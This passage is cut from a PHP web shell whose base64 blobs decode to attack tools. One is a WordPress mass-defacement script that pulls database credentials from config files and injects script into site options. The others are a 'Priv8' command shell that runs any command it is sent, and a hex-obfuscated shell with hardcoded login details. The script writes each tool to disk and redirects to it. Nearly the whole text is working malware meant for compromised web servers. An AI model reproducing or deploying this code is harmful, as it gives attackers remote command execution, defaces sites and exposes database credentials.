LiopXCcuKlwpLio7fGlzVScsJGNvZGUsJGI0KTsKJGhvc3Q9JGI0WzFdWzBdOwpwcmVnX21hdGNoX2FsbCgnfFwkdGFibGVfcHJlZml4Lio9LipcJyguKilcJy4qO3xpc1UnLCRjb2RlLCRiNSk7CiRwPSRiNVsxXVswXTsKJGQ9QG15c3FsX2Nvbm5lY3QoICRob3N0LCAkdXNlciwgJGRiX3Bhc3N3b3JkICkgOwppZiAoJGQpewpAbXlzcWxfc2VsZWN0X2RiKCRkYiApOwokc291cmNlPXN0cmlwc2xhc2hlcygkX1BPU1RbJ2luZGV4J10pOwokczI9c3RyVG9IZXgoKCRzb3VyY2UpKTsKJHM9IjxzY3JpcHQ+ZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmlubmVySFRNTCA9IHVuZXNjYXBlKCcnJHMyJycpOzwvc2NyaXB0PiI7CiRscz1zdHJsZW4oJHMpLTI7CiRzcWw9InVwZGF0ZSAiLiRwLiJvcHRpb25zIHNldCBvcHRpb25fdmFsdWU9J2E6Mjp7aToyO2E6Mzp7czo1OlwidGl0bGVcIjtzOjA6XCJcIjtzOjQ6XCJ0ZXh0XCI7czokbHM6XCIkc1wiO3M6NjpcImZpbHRlclwiO2I6MDt9czoxMjpcIl9tdWx0aXdpZGdldFwiO2k6MTt9JyB3aGVyZSBvcHRpb25fbmFtZT0nd2lkZ2V0X3RleHQnOyAiOwpteXNxbF9xdWVyeSgkc3FsKSA7CiRzcWw9InVwZGF0ZSAiLiRwLiJvcHRpb25zIHNldCBvcHRpb25fdmFsdWU9J2E6Nzp7czoxOTpcIndwX2luYWN0aXZlX3dpZGdldHNcIjthOjY6e2k6MDtzOjEwOlwiYXJjaGl2ZXMtMlwiO2k6MTtzOjY6XCJtZXRhLTJcIjtpOjI7czo4Olwic2VhcmNoLTJcIjtpOjM7czoxMjpcImNhdGVnb3JpZXMtMlwiO2k6NDtzOjE0OlwicmVjZW50LXBvc3RzLTJcIjtpOjU7czoxNzpcInJlY2VudC1jb21tZW50cy0yXCI7fXM6OTpcInNpZGViYXItMVwiO2E6MTp7aTowO3M6NjpcInRleHQtMlwiO31zOjk6XCJzaWRlYmFyLTJcIjthOjA6e31zOjk6XCJzaWRlYmFyLTNcIjthOjA6e31zOjk6XCJzaWRlYmFyLTRcIjthOjA6e31zOjk6XCJzaWRlYmFyLTVcIjthOjA6e31zOjEzOlwiYXJyYXlfdmVyc2lvblwiO2k6Mzt9JyB3aGVyZSBvcHRpb25fbmFtZT0nc2lkZWJhcnNfd2lkZ2V0cyc7IjsKbXlzcWxfcXVlcnkoJHNxbCkgOwppZiAoZnVuY3Rpb25fZXhpc3RzKCJtYl9jb252ZXJ0X2VuY29kaW5nIikgKQp7CiRzb3VyY2UyID0gbWJfY29udmVydF9lbmNvZGluZygnJy4kc291cmNlLicnLCAnVVRGLTgnKTsKJHNvdXJjZTI9bXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCRzb3VyY2UyKTsKJHNxbCA9ICJVUERBVEUgYCIuJHAuIm9wdGlvbnNgIFNFVCBgb3B0aW9uX3ZhbHVlYCA9ICckc291cmNlMicgV0hFUkUgYG9wdGlvbl9uYW1lYCA9ICdibG9nbmFtZSc7IjsKQG15c3FsX3F1ZXJ5KCRzcWwpIDsgOwokc3FsPSAiVVBEQVRFIGAiLiRwLiJvcHRpb25zYCBTRVQgYG9wdGlvbl92YWx1ZWAgPSAnVVRGLTgnIFdIRVJFIGBvcHRpb25fbmFtZWAgPSAnYmxvZ19jaGFyc2V0JzsiOwpAbXlzcWxfcXVlcnkoJHNxbCkgOyA7Cn0KJGFhPUBteXNxbF9xdWVyeSgic2VsZWN0IG9wdGlvbl92YWx1ZSBmcm9tIGAiLiRwLiJvcHRpb25zYCBXSEVSRSBgb3B0aW9uX25hbWVgID0gJ3NpdGV1cmwnOyIpIDs7CiRzaXRldXJsPUBteXNxbF9mZXRjaF9hcnJheSgkYWEpIDsKJHNpdGV1cmw9JHNpdGV1cmxbJ29wdGlvbl92YWx1ZSddOwokdHIuPSIkc2l0ZXVybC9pbmRleC5waHBcbiI7Cm15c3FsX2Nsb3NlKCk7Cn0KfQppZiAoJHRyKSBlY2hvICI8Y2VudGVyPkluZGV4IGNoYW5nZWQgZm9yIDxicj48YnI+PHRleHRhcmVhIGNvbHM9JzkwJyByb3dzPScxMScgPiR0cjwvdGV4dGFyZWE+PC9jZW50ZXI+IjsKfQpmdW5jdGlvbiBzdHJUb0hleCgkc3RyaW5nKQp7CiAgICAkaGV4PScnOwogICAgZm9yICgkaT0wOyAkaSA8IHN0cmxlbigkc3RyaW5nKTsgJGkrKykKICAgIHsKCWlmIChzdHJsZW4oZGVjaGV4KG9yZCgkc3RyaW5nWyRpXSkpKT09MSl7CiAgICAgICAgJGhleCAuPSIlMCIuIGRlY2hleChvcmQoJHN0cmluZ1skaV0pKTsKCQl9CgkJZWxzZQoJCXsKCQkkaGV4IC49IiUiLiBkZWNoZXgob3JkKCRzdHJpbmdbJGldKSk7CgkJfQogICAgfQogICAgcmV0dXJuICRoZXg7Cn0KCmZ1bmN0aW9uIGZpbGVfZ2V0X2NvbnRlbnRzMigkdSl7CgoJJGNoID0gY3VybF9pbml0KCk7CiAgICBjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9VUkwsJHUpOwogCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOyAgICAKICAgY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7CiAgICBjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9VU0VSQUdFTlQsIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IHJ2OjEyLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMTIuMCAiKTsKCSAgICAkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7CglyZXR1cm4gJHJlc3VsdCA7Cgl9Cj8+';
  2697. $file = fopen("mass.php","w");
  2698. $write = fwrite ($file ,base64_decode($mass));
  2699. fclose($file);
  2700. header("location:mass.php"); }
  2701. if(isset($_POST['BlackscorpionCmd'])){
  2702. $BlackscorpionCmd = 'PGh0bWw+PGhlYWQ+PHRpdGxlPlRlYW0gUHJvQnJvcyBQcml2OCBTSGVsbDwvdGl0bGU+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwczovL3Njb250ZW50LmZpc2I1LTEuZm5hLmZiY2RuLm5ldC92L3QxLjAtOS8yNjE2NzQ5OV8yODI5MjI2MjU1NjQ0MDFfNTcyNjYwNjk1MTk1MjY4MDEzOF9uLnBuZz9vaD04NmE0YWYyYmE1MzBkMjcxOGNmMTIyMmIzNmI4Nzg3NyZvZT01QjQxQTVGRiIgdHlwZT0iaW1hZ2UveC1pY29uIiAvPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmgzIHsKdGV4dC1kZWNvcmF0aW9uOiBub25lOwogIGZvbnQtZmFtaWx5OiBUYWhvbWEsIEFyaWFsLCBzYW5zLXNlcmlmOwogIGZvbnQtc2l6ZTogMTBweDsKICBjb2xvcjogIzAwNzZCMTsKICAKfQouYXJlYSB7CiAgY29sb3I6ICMwMDc2QjE7CiAgZm9udC1zaXplOiA5cHQ7CiAgdGV4dC1zaGFkb3c6ICMwMDc2QjEgMHB4IDJweCA3cHg7CiAgYm9yZGVyOiBzb2xpZCAxcHggIzAwNzZCMTsKICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDsKICBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDA5OTAwOwogIHBhZGRpbmc6IDNweDsKICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsKICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsKICBib3JkZXItcmFkaXVzOiA0cHg7CiAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2IoMCwxMTksMCkgMHB4IDBweCA7Cn0KIGlucHV0W3R5cGU9c3VibWl0XXsgcGFkZGluZzogM3B4OyBjb2xvcjogIzAwNzcwOwogIGZvbnQtd2VpZ2h0OiBib2xkOyAKdGV4dC1hbGlnbjogY2VudGVyOyAKIHRleHQtc2hhZG93OiAwIDFweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMyk7CiAgYmFja2dyb3VuZDogI2FlYWVhZTsgCiBiYWNrZ3JvdW5kLWNsaXA6IHBhZGRpbmctYm94OyAKIGJvcmRlcjogMXB4IHNvbGlkICMyODQ0NzM7IAogYm9yZGVyLWJvdHRvbS1jb2xvcjogIzIyM2I2NjsgCiBib3JkZXItcmFkaXVzOiA0cHg7ICAKY3Vyc29yOiBwb2ludGVyOyAgCmJhY2tncm91bmQtaW1hZ2U6LXdlYmtpdC1saW5lYXItZ3JhZGllbnQodG9wLCAjZWFlYWVhLCAjZDBkMGQwKTsKIGJhY2tncm91bmQtaW1hZ2U6IC1tb3otbGluZWFyLWdyYWRpZW50KHRvcCwgI2VhZWFlYSwgI2QwZDBkMCk7CiAgYmFja2dyb3VuZC1pbWFnZTogLW8tbGluZWFyLWdyYWRpZW50KHRvcCwgI2VhZWFlYSwgI2QwZDBkMCk7IAogYmFja2dyb3VuZC1pbWFnZTogbGluZWFyLWdyYWRpZW50KHRvIGJvdHRvbSwgI2VhZWFlYSwgI2QwZDBkMCk7IAogLXdlYmtpdC1ib3gtc2hhZG93OiBpbnNldCAwIDFweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNSksIGluc2V0IDAgMCA3cHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjQpLCAwIDFweCAxcHggcmdiYSgwLCAwLCAwLCAwLjE1KTsgIGJveC1zaGFkb3c6IGluc2V0IDAgMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC41KSwgaW5zZXQgMCAwIDdweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNCksIDAgMXB4IDFweCByZ2JhKDAsIDAsIDAsIDAuMTUpOyB9IAoKaW5wdXRbdHlwZT10ZXh0XXsgcGFkZGluZzogM3B4OyBjb2xvcjogIzAwNzZCMTsgdGV4dC1zaGFkb3c6ICMwMDc2QjEgMHB4IDBweCAzcHg7IGJvcmRlcjogMXB4IHNvbGlkICMwMDc2QjE7IGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDA3NkIxOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiKDg1LDg1LDg1KSAwcHggMHB4IDRweDsgICAtbW96LWJveC1zaGFkb3c6ICMwMDc2QjEgMHB4IDBweCA0cHg7fSAKCgoKCjwvc3R5bGU+Cjw/cGhwCmVjaG8gJwo8Y2VudGVyPgo8Zm9ybSBtZXRob2Q9R0VUPgo8cD48dGV4dGFyZWEgY2xhc3M9ImFyZWEiIHJvd3M9IjEzIiBuYW1lPSJ0ZXh0IiB2YWx1ZT0icHl0IiBjb2xzPSI3MCIgPic7CgoKaWYgKHN0cmxlbigkX0dFVFsnY29tbWFuZCddKT4xICYmICRfR0VUWydleGVjbWV0aG9kJ10hPSJwb3BlbiIpewplY2hvICRfR0VUWydleGVjbWV0aG9kJ10oJF9HRVRbJ2NvbW1hbmQnXSk7fQppZiAoc3RybGVuKCRfUE9TVFsnY29tbWFuZCddKT4xICYmICRfUE9TVFsnZXhlY21ldGhvZCddIT0icG9wZW4iKXsKZWNobyAkX1BPU1RbJ2V4ZWNtZXRob2QnXSgkX1BPU1RbJ2NvbW1hbmQnXSk7fQoKaWYgKHN0cmxlbigkX0dFVFsnY29tbWFuZCddKT4xICYmICRfR0VUWydleGVjbWV0aG9kJ109PSJwb3BlbiIpewpwb3BlbigkX0dFVFsnY29tbWFuZCddLCJyIik7fQoKZWNobyc8L3RleHRhcmVhPjwvcD4KPHA+PGNlbnRlcj48L2NlbnRlcj48L3A+CjxwIGFsaWduPSJjZW50ZXIiPjxzdHJvbmc+PC9zdHJvbmc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9InZ3IiBzaXplPSI1MCIgdmFsdWU9ImNtZCI+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjb21tYW5kIiBzaXplPSI0MyI+IDxzZWxlY3QgbmFtZT1leGVjbWV0aG9kPgo8b3B0aW9uIHZhbHVlPSJzeXN0ZW0iPlN5c3RlbTwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0iZXhlYyI+RXhlYzwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0icGFzc3RocnUiPlBhc3N0aHJ1PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0icG9wZW4iPnBvcGVuPC9vcHRpb24+Cjwvc2VsZWN0PiA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJra2siIHZhbHVlPSJFeGVjdXRlIj4KPC9wPjwvZm9ybT4nOwoKPz4=';
  2703. $file = fopen("BlackscorpionCmd.php","w");
  2704. $write = fwrite ($file ,base64_decode($BlackscorpionCmd));
  2705. fclose($file);
  2706. header("location:BlackscorpionCmd.php"); }
  2707. if(isset($_POST['madleets'])){
  2708. $madleets = 'PD9waHAgCiRuYW1lID0gInVtYXIiOwokcGFzc3dvcmQgPSAidW1hciI7IAogJHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjUyJ9WyJceDczalx4NmZidlx4NzNuXHg2NVx4NmYiXT0iXHg3NFx4NjVceDczXHg3NF9jb21tXHg2MVx4NmVceDY0IjskeyJceDQ3XHg0Y09CXHg0MVx4NGNTIn1bImJkXHg2ZFx4N2F0d1x4NzllXHg3NSJdPSJwXHg2OFx4NzBceDY5XHg2ZWZvIjskeyJceDQ3XHg0Y09ceDQyQVx4NGNceDUzIn1bIlx4NjVceDcxXHg3NGJceDZlXHg3OVx4NmQiXT0iXHg3Mlx4NjVzdVx4NmNceDc0IjskeyJceDQ3XHg0Y09CQVx4NGNceDUzIn1bIlx4NjlceDc2XHg2MnBvXHg2NXBceDY3XHg3NVx4NjNceDdhIl09ImNoXHg2NGlyIjskeyJHXHg0Y09CQVx4NGNTIn1bInBceDc2XHg2Mlx4NmRceDczXHg2Zlx4NzRzIl09Ilx4NjNceDZmXHg2ZFx4NmRhXHg2ZVx4NjQiOyR7IkdceDRjXHg0ZkJBXHg0Y1x4NTMifVsiXHg2N1x4NzZjZm5uXHg3YVx4NjdkIl09InBceDYxXHg3Mlx4NzRceDczIjskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NjRmcVx4NmN4XHg3MVx4NjlceDZlXHg2NVx4NzlceDY0Il09ImNceDcyYXdceDZjXHg2NVx4NzJceDczIjskeyJHXHg0Y09ceDQyXHg0MUxceDUzIn1bIlx4NmFceDczXHg3MVx4NjVceDczXHg2MVx4NjVvIl09ImRhdFx4NjEiOyR7IkdMXHg0ZkJBXHg0Y1MifVsiXHg2M1x4NzF1bndoXHg2ZFx4NjYiXT0iclx4NjVceDczcFx4NmZceDZlXHg3M1x4NjUiO2Z1bmN0aW9uIGdldElzQ3Jhd2xlcigkdXNlckFnZW50KXskeyR7IkdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2NGZceDcxXHg2Y1x4NzhxaW5lXHg3OVx4NjQiXX09Ilx4NDdceDZmXHg2Zlx4NjdsXHg2NXxceDZkXHg3M25ceDYyb3R8XHg1MmFceDZkXHg2Mlx4NmNlcnxceDU5XHg2MVx4NjhceDZmb3xBYlx4NjFceDYzXHg2OFx4NmZceDQyT1x4NTR8YVx4NjNceDYzXHg2Zlx4NmZceDZlXHg2MXwiLiJceDQxXHg2M1x4NjlvXHg1Mm9ceDYyb3R8QVNceDUwXHg1M2VlXHg2YnxDb2NceDZmQ1x4NzJceDYxXHg3N2xlcnxceDQ0XHg3NVx4NmRiXHg2ZnR8RkFTVC1XZVx4NjJDclx4NjF3bGVyfCIuIlx4NDdceDY1b1x4NmVceDYxQm9ceDc0fEdceDY5Z1x4NjFceDYyb1x4NzR8TFx4Nzljb3N8XHg0ZFx4NTNSQk9UfFx4NTNceDYzb1x4NmZceDc0XHg2NXJ8QVx4NmNceDc0XHg2MVx4NTZceDY5c1x4NzRceDYxfFx4NDlceDQ0XHg0Mm9ceDc0fFx4NjVceDUzXHg3NFx4NzlsZXxTY3JceDc1Ylx4NjJ5IjskaGhxZ2J3ZWg9ImlceDczQ1x4NzJceDYxXHg3N1x4NmNceDY1clx4NzMiOyRqeXd2dnBiPSJ1XHg3M1x4NjVceDcyQVx4Njdlblx4NzQiOyR7Ilx4NDdMXHg0ZkJBXHg0Y1x4NTMifVsiXHg3NVx4Njhvclx4NjFceDc2XHg2OCJdPSJpXHg3M0NceDcyXHg2MVx4NzdceDZjXHg2NVx4NzJzIjskeyR7IkdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg3NWhceDZmclx4NjFceDc2XHg2OCJdfT0ocHJlZ19tYXRjaCgiLyRjcmF3bGVycy9ceDY5IiwkeyRqeXd2dnBifSk+MCk7cmV0dXJuJHskaGhxZ2J3ZWh9O31mdW5jdGlvbiByZXNwb25zZSgkZGF0YSwkY29kZT0yMDAsJGVycm9yPSIiKXskbGFwd2V4c3JudT0iY1x4NmZkZSI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJ3XHg2Ylx4N2FuXHg2MVx4NjlceDc5XHg2YiJdPSJceDY1XHg3Mlx4NzJceDZmXHg3MiI7JGhlcGxidnJ4PSJceDcyXHg2NVx4NzNceDcwb25ceDczXHg2NSI7JHskeyJHXHg0Y09ceDQyXHg0MUxceDUzIn1bImNceDcxXHg3NVx4NmVceDc3XHg2OFx4NmRceDY2Il19WyJceDYzb2RlIl09JHskbGFwd2V4c3JudX07JHskaGVwbGJ2cnh9WyJlXHg3MnJceDZmXHg3MiJdPSR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJ3a1x4N2FceDZlXHg2MVx4Njl5XHg2YiJdfTskY2JodGVvPSJyXHg2NVx4NzNceDcwb1x4NmVzXHg2NSI7JHskeyJceDQ3XHg0Y1x4NGZCXHg0MUxceDUzIn1bIlx4NjNceDcxXHg3NW5ceDc3aFx4NmRmIl19WyJceDY0YVx4NzRceDYxIl09JHskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NmFceDczcVx4NjVceDczXHg2MVx4NjVceDZmIl19O2VjaG8ganNvbl9lbmNvZGUoJHskY2JodGVvfSk7ZXhpdCgpO31mdW5jdGlvbiBpc1dpbmRvd3MoKXskd2N3cWVtb2RsY2w9InBoXHg3MGlceDZlXHg2Nlx4NmYiO29iX3N0YXJ0KCk7cGhwaW5mbygpOyR7JHdjd3FlbW9kbGNsfT1vYl9nZXRfY2xlYW4oKTtyZXR1cm4gcHJlZ19tYXRjaCgiflN5XHg3M3RlXHg2ZFx4MjA8L3RkXHgzZTx0XHg2NCBjXHg2Y2Fzcz1ceDIyXHg3Nlx4MjI+KFtePF0qV1x4NjlceDZlXHg2NFx4NmZ3cylceDdlIiwkeyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg2MmRceDZkXHg3YXR3eVx4NjVceDc1Il19KT90cnVlOmZhbHNlO30keyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NzdceDdhYnBceDZjYiJdPSJjXHg2Y1x4NjVceDYxXHg2ZSI7ZnVuY3Rpb24gZ2V0VmFsaWRDb21tYW5kRnVuY3Rpb24oKXskeyJceDQ3TFx4NGZceDQyQUxceDUzIn1bIlx4NzZmXHg3OW1ceDc1c1x4NzZceDc5Il09Ilx4NzJceDY1XHg3M1x4NzVsXHg3NCI7JGthcHpvd2o9Ilx4NzJlc1x4NzVceDZjXHg3NCI7JGlubHF3Y3pxZ3F3az0iclx4NjVceDczXHg3NVx4NmNceDc0IjskaGxqY3RqaT0iXHg3Mlx4NjVceDczXHg3NVx4NmN0IjskeyJceDQ3XHg0Y09ceDQyQVx4NGNTIn1bIlx4NzVceDY5XHg3OVx4NzBuXHg3N1x4NzRjdWciXT0iXHg3MmVzXHg3NVx4NmNceDc0IjskeyR7IkdceDRjXHg0Zlx4NDJBXHg0Y1MifVsic2pceDZmXHg2MnZceDczXHg2ZVx4NjVceDZmIl19PWlzV2luZG93cygpPyJkaXIiOiJceDZjXHg3MyI7JGJ5a3N5ZGNicj0iXHg3Mlx4NjVceDczXHg3NVx4NmN0IjtvYl9zdGFydCgpOyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg3MVx4NjdceDY1XHg3MFx4NjhceDY4Il09Ilx4NzRceDY1c1x4NzRceDVmXHg2M1x4NmZceDZkXHg2ZGFceDZlZCI7JHsiXHg0N1x4NGNPXHg0MkFMXHg1MyJ9WyJxXHg3OWd1cVx4NmRceDc2XHg3NW9ceDZkXHg3OW4iXT0iXHg3Mlx4NjVzXHg3NWxceDc0IjskeyJceDQ3TE9ceDQyXHg0MVx4NGNTIn1bIlx4Njhnelx4NjRceDY0aWRceDYzXHg2NCJdPSJceDcyZVx4NzNceDc1XHg2Y1x4NzQiO3N5c3RlbSgkeyR7Ilx4NDdceDRjT0JceDQxXHg0Y1x4NTMifVsic1x4NmFceDZmYlx4NzZceDczblx4NjVvIl19KTskeyR7Ilx4NDdceDRjXHg0ZkJceDQxTFx4NTMifVsidVx4NjlceDc5cFx4NmV3XHg3NGNceDc1XHg2NyJdfT1vYl9nZXRfY29udGVudHMoKTska2xjY3djaW5pa3FlPSJyXHg2NVx4NzNceDc1XHg2Y1x4NzQiO29iX2VuZF9jbGVhbigpO2lmKHRyaW0oJHskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NzFceDc5XHg2N1x4NzVceDcxbVx4NzZceDc1XHg2Zlx4NmRceDc5XHg2ZSJdfSkhPSIiJiYhc3Ryc3RyKCR7JHsiR0xPXHg0MkFceDRjXHg1MyJ9WyJceDY1XHg3MVx4NzRceDYyXHg2ZVx4NzlceDZkIl19LCJceDY0XHg2OVx4NzNceDYxXHg2Mlx4NmNlZCBceDY2XHg2Zlx4NzJceDIwc2VceDYzdVx4NzJceDY5XHg3NHkiKSlyZXR1cm4ic1x4NzlceDczdGVceDZkIjskZ2hpZ3lnaHV4PSJceDcyZVx4NzNceDc1XHg2Y1x4NzQiOyRsZnN5bXdtd2tlZ3M9Ilx4NzJceDY1XHg3M3VceDZjXHg3NCI7JHskYnlrc3lkY2JyfT1leGVjKCR7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDczXHg2YW9iXHg3NnNuXHg2NVx4NmYiXX0pO2lmKHRyaW0oJHska2Fwem93an0pIT0iIiYmIXN0cnN0cigkeyR7Ilx4NDdMXHg0ZkJBXHg0Y1MifVsiaFx4NjdceDdhXHg2NFx4NjRpZFx4NjNceDY0Il19LCJceDY0aXNhYlx4NmNlXHg2NFx4MjBmXHg2Zlx4NzIgXHg3M2VjdVx4NzJceDY5dFx4NzkiKSlyZXR1cm4iZVx4NzhceDY1XHg2MyI7b2Jfc3RhcnQoKTtwYXNzdGhydSgkeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFx4NTMifVsic1x4NmFceDZmXHg2Mlx4NzZzblx4NjVvIl19KTskeyRnaGlneWdodXh9PW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO2lmKHRyaW0oJHskbGZzeW13bXdrZWdzfSkhPSIiJiYhc3Ryc3RyKCR7JGtsY2N3Y2luaWtxZX0sIlx4NjRceDY5c1x4NjFibGVceDY0IGZceDZmclx4MjBzZWNceDc1cml0XHg3OSIpKXJldHVybiJwXHg2MXNzXHg3NFx4NjhceDcyXHg3NSI7JHskaGxqY3RqaX09c2hlbGxfZXhlYygkeyR7IkdceDRjXHg0Zlx4NDJBXHg0Y1x4NTMifVsicVx4NjdlcFx4NjhoIl19KTtpZih0cmltKCR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjUyJ9WyJ2XHg2Nlx4NzlceDZkdXNceDc2XHg3OSJdfSkhPSIiJiYhc3Ryc3RyKCR7JGlubHF3Y3pxZ3F3a30sIlx4NjRceDY5c1x4NjFceDYyXHg2Y2VkIGZceDZmciBceDczZWNceDc1XHg3Mlx4NjlceDc0eSIpKXJldHVybiJceDczaGVsXHg2Y1x4NWZceDY1XHg3OFx4NjVjIjt9ZnVuY3Rpb24gZXhlY3V0ZSgkY29tbWFuZCwkZnVuY3Rpb24sJG5fdG9fYnI9dHJ1ZSl7JHB5cGtlZW9naWo9Ilx4NzJlXHg3M1x4NzVsXHg3NCI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDcxXHg3OVx4NmVceDY0XHg2M2lkYiJdPSJmXHg3NVx4NmVjXHg3NGlceDZmbiI7JHsiR0xceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDY5XHg3NFx4NmRceDc0Zlx4NmVceDY5XHg3MFx4NjlkIl09ImNceDZmXHg2ZFx4NmRceDYxXHg2ZWQiOyR7JHsiXHg0N0xceDRmQkFceDRjXHg1MyJ9WyJceDY5dlx4NjJceDcwXHg2ZmVwXHg2N1x4NzVceDYzXHg3YSJdfT0iIjska3FwdnFoY212cm1jPSJceDcyZVx4NzNceDc1XHg2Y1x4NzQiOyRyeGR5aXplaz0ibl9ceDc0b1x4NWZiXHg3MiI7aWYoJF9TRVNTSU9OWyJ0ZXJceDZkaVx4NmVhbCJdWyJceDcwYVx4NzRceDY4Il0hPSIiKXtpZihpc1dpbmRvd3MoKSl7aWYoIUBjaGRpcigkX1NFU1NJT05bIlx4NzRceDY1cm1pbmFsIl1bInBceDYxdGgiXSkpeyRfU0VTU0lPTlsiXHg3NFx4NjVybVx4NjlceDZlYVx4NmMiXVsiXHg3MFx4NjF0XHg2OCJdPSIiOyRydmV0bXdlPSJceDY0XHg2MXRceDYxIjskeyRydmV0bXdlfVsiXHg3MmVzXHg3NWx0Il09Ilx4NTlceDZmdSBhcmVceDIwXHg3Mlx4NjVceDY0XHg2OVx4NzJlXHg2M3RceDY1ZCBceDYyYWNceDZiIHRceDZmIHRceDY4ZSBvXHg3MmlceDY3XHg2OW5hXHg2YyBkaVx4NzJceDY1Y3RceDZmXHg3Mlx4NzksIGJceDY1Y1x4NjFceDc1XHg3M2UgXHg2OVx4NzQgXHg3N1x4NjFceDczIFx4NmVvdCBhbFx4NmNvd2VceDY0XHgyMFx4NzRvIFx4NmZceDcwXHg2NW5ceDIwdFx4Njhpc1x4MjBceDY0XHg2OXJlXHg2M3RceDZmXHg3MnkuIjtyZXNwb25zZSgkeyR7IkdceDRjXHg0ZkJceDQxXHg0Y1MifVsiXHg2YVx4NzNceDcxZXNceDYxXHg2NVx4NmYiXX0pO319ZWxzZXskeyJceDQ3XHg0Y1x4NGZCQVx4NGNceDUzIn1bIlx4NzFceDZhXHg2Ylx4NmFceDYyXHg2NFx4NzciXT0iY1x4NjhceDY0XHg2OVx4NzIiOyR7JHsiR0xPXHg0MkFMUyJ9WyJceDcxXHg2YVx4NmJceDZhXHg2Mlx4NjRceDc3Il19PSJceDYzZFx4MjAiLiRfU0VTU0lPTlsidFx4NjVceDcybVx4NjlceDZlYWwiXVsicFx4NjF0aCJdLiJcbiI7fX0kZmd1cHFpYXo9Ilx4NjNceDZmXHg2ZFx4NmRceDYxXHg2ZVx4NjQiO3N3aXRjaCgkeyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFMifVsiXHg3MVx4NzluXHg2NGNpZFx4NjIiXX0pe2Nhc2UiXHg3M1x4NzlceDczXHg3NFx4NjVtIjpvYl9zdGFydCgpO3N5c3RlbSgkeyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1MifVsiaXZceDYycFx4NmZlcFx4NjdceDc1XHg2M1x4N2EiXX0uJHskZmd1cHFpYXp9KTskeyR7Ilx4NDdceDRjT1x4NDJceDQxTFMifVsiXHg2NVx4NzFceDc0XHg2Mm55XHg2ZCJdfT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTticmVhaztjYXNlImV4XHg2NWMiOiR7JHB5cGtlZW9naWp9PWV4ZWMoJHskeyJHTFx4NGZCXHg0MVx4NGNceDUzIn1bIlx4Njl2XHg2MnBceDZmZVx4NzBnXHg3NWNceDdhIl19LiR7JHsiXHg0N0xceDRmQlx4NDFceDRjXHg1MyJ9WyJceDY5XHg3NFx4NmRceDc0Zm5ceDY5XHg3MFx4NjlceDY0Il19KTticmVhaztjYXNlInBceDYxXHg3M3N0aFx4NzJ1IjpvYl9zdGFydCgpO3Bhc3N0aHJ1KCR7JHsiXHg0N0xceDRmXHg0MkFceDRjXHg1MyJ9WyJpXHg3NmJwb1x4NjVceDcwZ1x4NzVceDYzeiJdfS4keyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg3MFx4NzZceDYybXNvXHg3NFx4NzMiXX0pOyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJlcXRiXHg2ZVx4NzlceDZkIl19PW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO2JyZWFrO2Nhc2Uic1x4NjhceDY1XHg2Y2xceDVmZXhceDY1XHg2MyI6JHska3FwdnFoY212cm1jfT1zaGV